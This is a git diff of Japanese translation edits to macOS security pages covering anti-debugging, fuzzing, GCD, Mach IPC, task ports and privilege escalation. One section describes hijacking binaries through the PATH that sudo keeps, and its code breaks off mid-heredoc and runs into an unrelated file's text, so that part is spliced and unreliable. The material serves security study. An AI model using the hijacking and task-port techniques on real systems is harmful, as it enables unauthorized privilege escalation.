- 一部のマルウェアは、MACアドレス(00:50:56)に基づいて**VMware**であるかどうかを**検出**することもできます。
- 簡単なコードを使用して、**プロセスがデバッグされているかどうかを確認することも可能です**:
- `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //プロセスがデバッグされています }`
-- **`ptrace`**システムコールを**`PT_DENY_ATTACH`**フラグで呼び出すこともできます。これにより、デバッガがアタッチしてトレースするのを防ぎます。
+- **`ptrace`**システムコールを**`PT_DENY_ATTACH`**フラグで呼び出すこともできます。これにより、デバッガがアタッチしてトレースするのを**防ぎます**。
- **`sysctl`**または**`ptrace`**関数が**インポートされているかどうかを確認できます**(ただし、マルウェアは動的にインポートする可能性があります)。
-- この書き込みで指摘されているように、「[デバッグ防止技術の克服:macOS ptraceバリアント](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)」:\
+- この書き込みで指摘されているように、「[アンチデバッグ技術を打破する:macOS ptraceのバリアント](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)」:\
“_メッセージProcess # exited with **status = 45 (0x0000002d)**は、デバッグターゲットが**PT_DENY_ATTACH**を使用していることを示す兆候です_”
## コアダンプ
-コアダンプは以下の場合に作成されます:
+コアダンプは次の場合に作成されます:
- `kern.coredump` sysctlが1に設定されている(デフォルト)
- プロセスがsuid/sgidでない場合、または`kern.sugid_coredump`が1である(デフォルトは0)
- `AS_CORE`制限が操作を許可します。`ulimit -c 0`を呼び出すことでコアダンプの作成を抑制でき、`ulimit -c unlimited`で再度有効にできます。
-これらのケースでは、コアダンプは`kern.corefile` sysctlに従って生成され、通常は`/cores/core/.%P`に保存されます。
+これらの場合、コアダンプは`kern.corefile` sysctlに従って生成され、通常は`/cores/core/.%P`に保存されます。
## ファジング
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
-ReportCrashは**クラッシュしたプロセスを分析し、クラッシュレポートをディスクに保存します**。クラッシュレポートには、**開発者がクラッシュの原因を診断するのに役立つ情報**が含まれています。\
+ReportCrashは**クラッシュしたプロセスを分析し、クラッシュレポートをディスクに保存します**。クラッシュレポートには、**開発者がクラッシュの原因を診断するのに役立つ情報が含まれています**。\
ユーザーごとのlaunchdコンテキストで**実行されているアプリケーションや他のプロセス**の場合、ReportCrashはLaunchAgentとして実行され、ユーザーの`~/Library/Logs/DiagnosticReports/`にクラッシュレポートを保存します。\
デーモン、システムlaunchdコンテキストで**実行されている他のプロセス**および他の特権プロセスの場合、ReportCrashはLaunchDaemonとして実行され、システムの`/Library/Logs/DiagnosticReports`にクラッシュレポートを保存します。
-クラッシュレポートが**Appleに送信されることを心配している場合**は、それを無効にできます。そうでない場合、クラッシュレポートは**サーバーがどのようにクラッシュしたかを理解するのに役立ちます**。
+クラッシュレポートが**Appleに送信されることを心配している場合**は、それらを無効にできます。そうでない場合、クラッシュレポートは**サーバーがどのようにクラッシュしたかを理解するのに役立ちます**。
```bash
#To disable crash reporting:
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
@@ -502,7 +502,7 @@ MacOSでファジングを行う際は、Macがスリープしないようにす
#### SSH切断
-SSH接続を介してファジングを行っている場合、セッションが切断されないようにすることが重要です。次のようにsshd_configファイルを変更してください:
+SSH接続を介してファジングを行う場合、セッションが切断されないようにすることが重要です。次のようにsshd_configファイルを変更してください:
- TCPKeepAlive Yes
- ClientAliveInterval 0
@@ -511,7 +511,7 @@ SSH接続を介してファジングを行っている場合、セッション
sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist
sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
```
-### 内部ハンドラー
+### Internal Handlers
**次のページを確認してください** どのアプリが **指定されたスキームまたはプロトコルを処理しているかを見つける方法を知るために:**
@@ -519,16 +519,16 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
../macos-file-extension-apps.md
{{#endref}}
-### ネットワークプロセスの列挙
+### Enumerating Network Processes
-これはネットワークデータを管理しているプロセスを見つけるのに興味深いです:
+これは、ネットワークデータを管理しているプロセスを見つけるのに興味深いです:
```bash
dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >> recv.log
#wait some time
sort -u recv.log > procs.txt
cat procs.txt
```
-`netstat` または `lsof` を使用します
+または `netstat` または `lsof` を使用します。
### Libgmalloc
@@ -536,11 +536,11 @@ cat procs.txt
```bash
lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib" -o "run arg1 arg2" -o "bt" -o "reg read" -o "dis -s \$pc-32 -c 24 -m -F intel" -o "quit"
```
-### ファジングツール
+### Fuzzers
#### [AFL++](https://github.com/AFLplusplus/AFLplusplus)
-CLIツールに対応
+CLIツールで動作します。
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
@@ -570,7 +570,7 @@ litefuzz -lk -c "smbutil view smb://localhost:4455" -a tcp://localhost:4455 -i i
# screensharingd (using pcap capture)
litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash screensharingd -p -n 100000
```
-### より多くのFuzzing MacOS情報
+### さらなるFuzzing MacOS情報
- [https://www.youtube.com/watch?v=T5xfL9tEg44](https://www.youtube.com/watch?v=T5xfL9tEg44)
- [https://github.com/bnagy/slides/blob/master/OSXScale.pdf](https://github.com/bnagy/slides/blob/master/OSXScale.pdf)
@@ -579,9 +579,9 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
## 参考文献
-- [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
+- [**OS X インシデントレスポンス: スクリプティングと分析**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
- [**https://www.youtube.com/watch?v=T5xfL9tEg44**](https://www.youtube.com/watch?v=T5xfL9tEg44)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
-- [**The Art of Mac Malware: The Guide to Analyzing Malicious Software**](https://taomm.org/)
+- [**Macマルウェアの技術: 悪意のあるソフトウェアの分析ガイド**](https://taomm.org/)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
index 433474b53..e174de252 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
@@ -4,8 +4,8 @@
## Firewalls
-- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): 各プロセスによって行われるすべての接続を監視します。モード(接続を静かに許可、接続を静かに拒否し警告)に応じて、新しい接続が確立されるたびに**警告を表示**します。また、すべての情報を確認するための非常に良いGUIがあります。
-- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-Seeのファイアウォール。これは、疑わしい接続に対して警告を出す基本的なファイアウォールです(GUIはありますが、Little Snitchのものほど豪華ではありません)。
+- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): 各プロセスによって行われるすべての接続を監視します。モード(サイレント許可接続、サイレント拒否接続およびアラート)に応じて、新しい接続が確立されるたびに**アラートを表示**します。また、すべての情報を確認するための非常に良いGUIがあります。
+- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-Seeのファイアウォール。これは、疑わしい接続に対してアラートを出す基本的なファイアウォールです(GUIはありますが、Little Snitchのものほど豪華ではありません)。
## Persistence detection
@@ -14,6 +14,6 @@
## Keyloggers detection
-- [**ReiKey**](https://objective-see.org/products/reikey.html): キーボードの「イベントタップ」をインストールする**キーロガー**を見つけるためのObjective-Seeのアプリケーションです。
+- [**ReiKey**](https://objective-see.org/products/reikey.html): キーボードの「イベントタップ」をインストールする**キーロガー**を見つけるためのObjective-Seeのアプリケーションです。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
index 20040e0c8..ed652e568 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
@@ -4,22 +4,22 @@
## 基本情報
-**Grand Central Dispatch (GCD)**、別名 **libdispatch** (`libdispatch.dyld`) は、macOS と iOS の両方で利用可能です。これは、Apple が開発した技術で、マルチコアハードウェア上での並行(マルチスレッド)実行のためのアプリケーションサポートを最適化します。
+**Grand Central Dispatch (GCD)**、別名 **libdispatch** (`libdispatch.dyld`) は、macOS と iOS の両方で利用可能です。これは、Apple によって開発された技術で、マルチコアハードウェア上での並行(マルチスレッド)実行のためのアプリケーションサポートを最適化します。
**GCD** は、アプリケーションが **ブロックオブジェクト** の形で **タスクを提出** できる **FIFO キュー** を提供し、管理します。ディスパッチキューに提出されたブロックは、システムによって完全に管理されるスレッドプール上で **実行されます**。GCD は、ディスパッチキュー内のタスクを実行するためのスレッドを自動的に作成し、利用可能なコアでそれらのタスクを実行するようにスケジュールします。
> [!TIP]
> 要約すると、**並行して** コードを実行するために、プロセスは **GCD にコードのブロックを送信** でき、GCD がその実行を管理します。したがって、プロセスは新しいスレッドを作成せず、**GCD が独自のスレッドプールで指定されたコードを実行します**(必要に応じて増減する可能性があります)。
-これは、並行実行を成功裏に管理するのに非常に役立ち、プロセスが作成するスレッドの数を大幅に減少させ、並行実行を最適化します。これは、**大きな並行性**(ブルートフォース?)を必要とするタスクや、メインスレッドをブロックすべきでないタスクに理想的です。たとえば、iOS のメインスレッドは UI インタラクションを処理するため、アプリをハングさせる可能性のある他の機能(検索、ウェブへのアクセス、ファイルの読み取りなど)はこの方法で管理されます。
+これは、並行実行を成功裏に管理するのに非常に役立ち、プロセスが作成するスレッドの数を大幅に削減し、並行実行を最適化します。これは、**大きな並行性**(ブルートフォース?)を必要とするタスクや、メインスレッドをブロックすべきでないタスクに理想的です。たとえば、iOS のメインスレッドは UI インタラクションを処理するため、アプリをハングさせる可能性のある他の機能(検索、ウェブアクセス、ファイル読み込みなど)はこの方法で管理されます。
### ブロック
ブロックは、**自己完結型のコードセクション**(引数を持ち、値を返す関数のようなもの)であり、バウンド変数を指定することもできます。\
-しかし、コンパイラレベルではブロックは存在せず、`os_object` です。これらのオブジェクトは、2 つの構造体で構成されています:
+ただし、コンパイラレベルではブロックは存在せず、`os_object` です。これらのオブジェクトは、2 つの構造体で構成されています:
-- **ブロックリテラル**:
-- **`isa`** フィールドで始まり、ブロックのクラスを指します:
+- **ブロックリテラル**:
+- **`isa`** フィールドから始まり、ブロックのクラスを指します:
- `NSConcreteGlobalBlock`(`__DATA.__const` からのブロック)
- `NSConcreteMallocBlock`(ヒープ内のブロック)
- `NSConcreateStackBlock`(スタック内のブロック)
@@ -27,8 +27,7 @@
- 呼び出すための関数ポインタ
- ブロックディスクリプタへのポインタ
- インポートされた変数(ある場合)
-
-- **ブロックディスクリプタ**: そのサイズは、前述のフラグで示されるデータに依存します
+- **ブロックディスクリプタ**:そのサイズは、前述のフラグで示されるデータに依存します
- いくつかの予約バイトを持ちます
- そのサイズ
- 通常、パラメータに必要なスペースを知るための Objective-C スタイルのシグネチャへのポインタを持ちます(フラグ `BLOCK_HAS_SIGNATURE`)
@@ -38,7 +37,7 @@
ディスパッチキューは、実行のためのブロックの FIFO 順序を提供する名前付きオブジェクトです。
-ブロックはキューにセットされて実行され、これには 2 つのモードがサポートされています:`DISPATCH_QUEUE_SERIAL` と `DISPATCH_QUEUE_CONCURRENT`。もちろん、**シリアル**な方は **レースコンディション** の問題を持たず、ブロックは前のものが終了するまで実行されません。しかし、**もう一方のタイプのキューはそれを持つ可能性があります**。
+ブロックは、実行されるためにキューにセットされ、これらは 2 つのモードをサポートします:`DISPATCH_QUEUE_SERIAL` と `DISPATCH_QUEUE_CONCURRENT`。もちろん、**シリアル**な方は **レースコンディション** の問題を持たず、ブロックは前のものが終了するまで実行されません。しかし、**もう一方のタイプのキューはそれを持つ可能性があります**。
デフォルトのキュー:
@@ -58,7 +57,7 @@
- `.root.user-interactive-qos`: 最高優先度
- `.root.background-qos.overcommit`
-どのスレッドがどのキューを処理するかは **システムが決定する** ことに注意してください(複数のスレッドが同じキューで作業することもあれば、同じスレッドが異なるキューで作業することもあります)。
+どのスレッドがどのキューを処理するかは **システムが決定する** ことに注意してください(複数のスレッドが同じキューで動作することもあれば、同じスレッドが異なるキューで動作することもあります)。
#### 属性
@@ -66,7 +65,7 @@
### ディスパッチオブジェクト
-libdispatch が使用するオブジェクトはいくつかあり、キューとブロックはそのうちの 2 つです。これらのオブジェクトは `dispatch_object_create` で作成できます:
+libdispatch が使用するオブジェクトは複数あり、キューとブロックはそのうちの 2 つです。これらのオブジェクトは `dispatch_object_create` を使用して作成できます:
- `block`
- `data`: データブロック
@@ -74,7 +73,7 @@ libdispatch が使用するオブジェクトはいくつかあり、キュー
- `io`: 非同期 I/O リクエスト
- `mach`: Mach ポート
- `mach_msg`: Mach メッセージ
-- `pthread_root_queue`: pthread スレッドプールを持つキューで、作業キューではありません
+- `pthread_root_queue`: pthread スレッドプールを持つキューで、ワークキューではありません
- `queue`
- `semaphore`
- `source`: イベントソース
@@ -101,7 +100,7 @@ struct BlockDescriptor *descriptor;
// captured variables go here
};
```
-これは**`dispatch_async`**を使用した**parallelism**の例です:
+これは**`dispatch_async`**を使った**並列処理**の例です:
```objectivec
#import
@@ -142,7 +141,7 @@ return 0;
- **`async await`**
- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`**
-**コード例**:
+**Code example**:
```swift
import Foundation
@@ -186,9 +185,9 @@ Backtrace:
```
## Ghidra
-現在、GhidraはObjectiveC **`dispatch_block_t`** 構造体も、**`swift_dispatch_block`** 構造体も理解していません。
+現在、GhidraはObjectiveC **`dispatch_block_t`** 構造体や **`swift_dispatch_block`** 構造体を理解していません。
-したがって、これらを理解させたい場合は、単に**宣言する**ことができます:
+したがって、これらを理解させたい場合は、単に **宣言する** ことができます:
.png)
@@ -196,14 +195,14 @@ Backtrace:
.png)
-次に、コード内でそれらが**使用されている**場所を見つけます:
+次に、コード内でそれらが **使用されている** 場所を見つけます:
> [!TIP]
-> "block"に関するすべての参照をメモして、構造体がどのように使用されているかを理解してください。
+> "block" に関するすべての参照をメモして、構造体がどのように使用されているかを理解してください。
.png)
-変数を右クリック -> 変数の再タイプを選択し、この場合は**`swift_dispatch_block`**を選択します:
+変数を右クリック -> 変数の再タイプを選択し、この場合は **`swift_dispatch_block`** を選択します:
.png)
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
index 66b1a061e..95ca43816 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
@@ -1,10 +1,10 @@
-# macOS 権限昇格
+# macOS 特権昇格
{{#include ../../banners/hacktricks-training.md}}
-## TCC 権限昇格
+## TCC 特権昇格
-TCC 権限昇格を探している場合は、次に進んでください:
+TCC 特権昇格を探している場合は、次に進んでください:
{{#ref}}
macos-security-protections/macos-tcc/
@@ -12,7 +12,7 @@ macos-security-protections/macos-tcc/
## Linux Privesc
-**Linux/Unix に影響を与える権限昇格に関するほとんどのトリックは、MacOS** マシンにも影響を与えることに注意してください。したがって、次を参照してください:
+**特権昇格に関するほとんどのトリックは、Linux/Unix に影響を与えるものは MacOS にも影響を与えることに注意してください。** したがって、次を参照してください:
{{#ref}}
../../linux-hardening/privilege-escalation/
@@ -22,9 +22,9 @@ macos-security-protections/macos-tcc/
### Sudo ハイジャック
-元の [Sudo ハイジャック技術は Linux 権限昇格の投稿内にあります](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking)。
+元の [Sudo ハイジャック技術は Linux 特権昇格の投稿内にあります](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking)。
-しかし、macOS は **`sudo`** を実行する際にユーザーの **`PATH`** を **維持** します。つまり、この攻撃を達成する別の方法は、被害者が **sudo を実行する際に** 実行する他のバイナリを **ハイジャックする** ことです:
+しかし、macOS は **`sudo`** を実行する際にユーザーの **`PATH`** を **保持** します。つまり、この攻撃を達成する別の方法は、被害者が **sudo を実行する際に** 実行する他のバイナリを **ハイジャックする** ことです:
```bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls < [!TIP]
> この種の双方向通信は、再生を期待するXPCメッセージ(`xpc_connection_send_message_with_reply`および`xpc_connection_send_message_with_reply_sync`)で使用されることに注意してください。しかし、**通常は異なるポートが作成され**、前述のように双方向通信を作成します。
@@ -123,15 +123,15 @@ mach_msg_id_t msgh_id;
- `msgh_id`: このメッセージのIDで、受信者によって解釈されます。
> [!CAUTION]
-> **machメッセージは`machポート`を介して送信される**ことに注意してください。これは**単一受信者**、**複数送信者**の通信チャネルで、machカーネルに組み込まれています。**複数のプロセス**がmachポートに**メッセージを送信**できますが、いつでも**単一のプロセスのみが**そこから読み取ることができます。
+> **machメッセージは`mach port`を介して送信される**ことに注意してください。これは**単一受信者**、**複数送信者**の通信チャネルで、machカーネルに組み込まれています。**複数のプロセス**がmachポートに**メッセージを送信**できますが、いつでも**単一のプロセスのみが**それから読み取ることができます。
-メッセージは、**`mach_msg_header_t`**ヘッダーの後に**本体**、および**トレーラー**(ある場合)で構成され、返信の許可を与えることができます。この場合、カーネルはメッセージを一つのタスクから別のタスクに渡すだけで済みます。
+メッセージは、**`mach_msg_header_t`**ヘッダーの後に**本体**、および**トレーラー**(ある場合)で構成され、応答する権限を付与することができます。この場合、カーネルはメッセージを一つのタスクから別のタスクに渡すだけで済みます。
**トレーラー**は、カーネルによってメッセージに**追加される情報**(ユーザーによって設定できない)で、フラグ`MACH_RCV_TRAILER_`を使用してメッセージ受信時に要求できます(要求できる情報は異なります)。
#### 複雑なメッセージ
-ただし、追加のポート権を渡したり、メモリを共有したりするような、より**複雑な**メッセージもあります。この場合、カーネルはこれらのオブジェクトを受信者に送信する必要があります。この場合、ヘッダーの最上位ビット`msgh_bits`が設定されます。
+ただし、追加のポート権限を渡したり、メモリを共有したりするような、より**複雑な**メッセージもあります。この場合、カーネルはこれらのオブジェクトを受信者に送信する必要があります。この場合、ヘッダーの最上位ビット`msgh_bits`が設定されます。
渡す可能な記述子は、[**`mach/message.h`**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)で定義されています:
```c
@@ -159,16 +159,16 @@ In 32ビットでは、すべてのディスクリプタは12Bで、ディスク
### Mac Ports APIs
-ポートはタスクネームスペースに関連付けられているため、ポートを作成または検索するには、タスクネームスペースもクエリされます(`mach/mach_port.h`の詳細):
+ポートはタスクネームスペースに関連付けられているため、ポートを作成または検索するには、タスクネームスペースもクエリされます(詳細は`mach/mach_port.h`を参照):
- **`mach_port_allocate` | `mach_port_construct`**: **ポートを作成**します。
- `mach_port_allocate`は**ポートセット**も作成できます:ポートのグループに対する受信権。メッセージが受信されると、どのポートから受信されたかが示されます。
-- `mach_port_allocate_name`: ポートの名前を変更します(デフォルトは32ビット整数)
-- `mach_port_names`: ターゲットからポート名を取得します
-- `mach_port_type`: 名前に対するタスクの権利を取得します
-- `mach_port_rename`: ポートの名前を変更します(FDのdup2のように)
-- `mach_port_allocate`: 新しいRECEIVE、PORT_SETまたはDEAD_NAMEを割り当てます
-- `mach_port_insert_right`: RECEIVEを持つポートに新しい権利を作成します
+- `mach_port_allocate_name`: ポートの名前を変更します(デフォルトは32ビット整数)。
+- `mach_port_names`: ターゲットからポート名を取得します。
+- `mach_port_type`: 名前に対するタスクの権利を取得します。
+- `mach_port_rename`: ポートの名前を変更します(FDのdup2のように)。
+- `mach_port_allocate`: 新しいRECEIVE、PORT_SETまたはDEAD_NAMEを割り当てます。
+- `mach_port_insert_right`: RECEIVEを持つポートに新しい権利を作成します。
- `mach_port_...`
- **`mach_msg`** | **`mach_msg_overwrite`**: **machメッセージを送受信するために使用される関数**。オーバーライトバージョンでは、メッセージ受信のために異なるバッファを指定できます(他のバージョンはそれを再利用します)。
@@ -176,7 +176,7 @@ In 32ビットでは、すべてのディスクリプタは12Bで、ディスク
**`mach_msg`**および**`mach_msg_overwrite`**関数はメッセージを送受信するために使用されるため、これらにブレークポイントを設定すると、送信されたメッセージと受信されたメッセージを検査できます。
-たとえば、デバッグ可能な任意のアプリケーションのデバッグを開始すると、**`libSystem.B`がロードされ、この関数が使用されます**。
+たとえば、デバッグ可能な任意のアプリケーションをデバッグし始めると、**`libSystem.B`がロードされ、この関数を使用します**。
(lldb) b mach_msg
Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
@@ -186,10 +186,10 @@ Process 71019 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
--> 0x181d3ac20 <+0>: pacibsp
-0x181d3ac24 <+4>: sub sp, sp, #0x20
-0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
-0x181d3ac2c <+12>: add x29, sp, #0x10
+-> 0x181d3ac20 <+0>: pacibsp
+0x181d3ac24 <+4>: sub sp, sp, #0x20
+0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
+0x181d3ac2c <+12>: add x29, sp, #0x10
Target 0: (SandboxedShellApp) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
@@ -202,7 +202,7 @@ frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
-frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
+frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
**`mach_msg`**の引数を取得するには、レジスタを確認します。これらが引数です([mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)から):
@@ -268,8 +268,8 @@ name ipc-object rights flags boost reqs recv send sonce oref q
[...]
```
**名前**はポートに与えられたデフォルトの名前です(最初の3バイトでどのように**増加**しているかを確認してください)。**`ipc-object`**はポートの**難読化された**一意の**識別子**です。\
-また、**`send`**権限のみを持つポートがそれを**所有者を特定している**方法(ポート名 + pid)にも注意してください。\
-同じポートに接続された**他のタスク**を示すために**`+`**が使用されていることにも注意してください。
+また、**`send`**権限のみを持つポートがそれを**所有している者を特定**していることにも注意してください(ポート名 + pid)。\
+さらに、**`+`**を使用して**同じポートに接続された他のタスク**を示していることにも注意してください。
また、[**procesxp**](https://www.newosxbook.com/tools/procexp.html)を使用して、**登録されたサービス名**(`com.apple.system-task-port`の必要性によりSIPが無効になっている場合)も確認できます:
```
@@ -279,7 +279,7 @@ procesp 1 ports
### コード例
-**送信者**がポートを**割り当て**、名前 `org.darlinghq.example` のための**送信権**を作成し、それを**ブートストラップサーバー**に送信する様子に注意してください。送信者はその名前の**送信権**を要求し、それを使用して**メッセージを送信**しました。
+**送信者**がポートを**割り当て**、名前 `org.darlinghq.example` のために**送信権**を作成し、それを**ブートストラップサーバー**に送信する様子に注意してください。送信者はその名前の**送信権**を要求し、それを使用して**メッセージを送信**しました。
{{#tabs}}
{{#tab name="receiver.c"}}
@@ -407,7 +407,7 @@ printf("Sent a message\n");
## 特権ポート
-特定のタスクがそれらに対して**SEND**権限を持つ場合、**特定の敏感なアクションを実行したり、特定の敏感なデータにアクセスしたりする**ことを可能にする特別なポートがあります。これにより、攻撃者の視点からこれらのポートは非常に興味深いものとなります。なぜなら、機能だけでなく、**タスク間でSEND権限を共有する**ことが可能だからです。
+特定のタスクが**SEND**権限を持っている場合、**特定の敏感なアクションを実行したり、特定の敏感なデータにアクセスしたりする**ことを可能にする特別なポートがあります。これにより、攻撃者の視点からこれらのポートは非常に興味深いものとなります。なぜなら、機能だけでなく、**タスク間でSEND権限を共有する**ことが可能だからです。
### ホスト特別ポート
@@ -425,7 +425,7 @@ printf("Sent a message\n");
- `host_statistics`: ホスト統計を取得
- `mach_memory_info`: カーネルメモリレイアウトを取得
- **ホスト特権ポート**:このポートに対して**SEND**権限を持つプロセスは、ブートデータを表示したり、カーネル拡張を読み込もうとしたりする**特権アクション**を実行できます。この**権限を取得するにはプロセスがルートである必要があります**。
-- さらに、**`kext_request`** APIを呼び出すには、他の権限**`com.apple.private.kext*`**が必要で、これはAppleのバイナリにのみ付与されます。
+- さらに、**`kext_request`** APIを呼び出すには、他の権限**`com.apple.private.kext*`**が必要で、これはAppleのバイナリにのみ与えられます。
- 呼び出すことができる他のルーチンは次のとおりです:
- `host_get_boot_info`: `machine_boot_info()`を取得
- `host_priv_statistics`: 特権統計を取得
@@ -434,13 +434,13 @@ printf("Sent a message\n");
- `mach_vm_wire`: メモリを常駐させる
- **ルート**はこの権限にアクセスできるため、`host_set_[special/exception]_port[s]`を呼び出して**ホスト特別または例外ポートをハイジャック**することができます。
-すべてのホスト特別ポートは、次のコマンドを実行することで**見ることができます**:
+すべてのホスト特別ポートを表示するには、次のコマンドを実行できます:
```bash
procexp all ports | grep "HSP"
```
### タスク特別ポート
-これらは、よく知られたサービスのために予約されたポートです。`task_[get/set]_special_port`を呼び出すことで取得/設定することが可能です。これらは`task_special_ports.h`にあります:
+これらは、よく知られたサービスのために予約されたポートです。`task_[get/set]_special_port`を呼び出すことで取得/設定することが可能です。これらは`task_special_ports.h`にあります:
```c
typedef int task_special_port_t;
@@ -459,7 +459,7 @@ world.*/
### タスクポート
-元々Machには「プロセス」はなく、「タスク」があり、これはスレッドのコンテナのように考えられていました。MachがBSDと統合されたとき、**各タスクはBSDプロセスに関連付けられました**。したがって、すべてのBSDプロセスはプロセスとして必要な詳細を持ち、すべてのMachタスクもその内部動作を持っています(存在しないpid 0は`kernel_task`です)。
+元々Machには「プロセス」はなく、「タスク」があり、これはスレッドのコンテナのように考えられていました。MachがBSDと統合されたとき、**各タスクはBSDプロセスに関連付けられました**。したがって、すべてのBSDプロセスはプロセスとして必要な詳細を持ち、すべてのMachタスクもその内部動作を持っています(存在しないpid 0である`kernel_task`を除く)。
これに関連する非常に興味深い関数が2つあります:
@@ -474,7 +474,7 @@ world.*/
- `task_[get/set]_special_port`
- `thread_create`: スレッドを作成
- `task_[get/set]_state`: タスクの状態を制御
-- その他の詳細は[**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h)で見つけることができます。
+- その他の情報は[**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h)で見つけることができます。
> [!CAUTION]
> 異なるタスクのタスクポートに対するSEND権を持つ場合、異なるタスクに対してそのようなアクションを実行することが可能です。
@@ -484,16 +484,16 @@ world.*/
**カーネルもタスクであるため**、誰かが**`kernel_task`**に対する**SEND権限**を取得できれば、カーネルに何でも実行させることができます(脱獄)。
- `mach_task_self()`を呼び出して、呼び出しタスクのこのポートの**名前を取得**します。このポートは**`exec()`**を通じてのみ**継承**されます。`fork()`で作成された新しいタスクは新しいタスクポートを取得します(特別なケースとして、suidバイナリの`exec()`後にタスクも新しいタスクポートを取得します)。タスクを生成し、そのポートを取得する唯一の方法は、`fork()`を行いながら["ポートスワップダンス"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)を実行することです。
-- ポートへのアクセス制限は以下の通りです(バイナリ`AppleMobileFileIntegrity`の`macos_task_policy`から):
-- アプリが**`com.apple.security.get-task-allow`権限**を持っている場合、**同じユーザーのプロセスはタスクポートにアクセスできます**(通常はデバッグのためにXcodeによって追加されます)。**ノータリゼーション**プロセスは、製品リリースではこれを許可しません。
+- これらはポートにアクセスするための制限です(バイナリ`AppleMobileFileIntegrity`の`macos_task_policy`から):
+- アプリが**`com.apple.security.get-task-allow`権限**を持っている場合、**同じユーザーのプロセスがタスクポートにアクセスできます**(通常はデバッグのためにXcodeによって追加されます)。**ノータリゼーション**プロセスは、製品リリースではこれを許可しません。
- **`com.apple.system-task-ports`**権限を持つアプリは、カーネルを除く**任意の**プロセスの**タスクポートを取得できます**。古いバージョンでは**`task_for_pid-allow`**と呼ばれていました。これはAppleのアプリケーションにのみ付与されます。
- **ルートは**、**ハードンされた**ランタイムでコンパイルされていないアプリケーションのタスクポートにアクセスできます(Appleからではありません)。
-**タスク名ポート:** _タスクポート_の特権のないバージョン。タスクを参照しますが、制御することはできません。これを通じて利用可能な唯一のものは`task_info()`のようです。
+**タスク名ポート:** _タスクポート_の特権のないバージョン。タスクを参照しますが、制御することはできません。これを通じて利用できる唯一のものは`task_info()`のようです。
### スレッドポート
-スレッドにも関連するポートがあり、これは**`task_threads`**を呼び出すタスクや`processor_set_threads`を持つプロセッサから見ることができます。スレッドポートへのSEND権は、`thread_act`サブシステムの関数を使用することを可能にします:
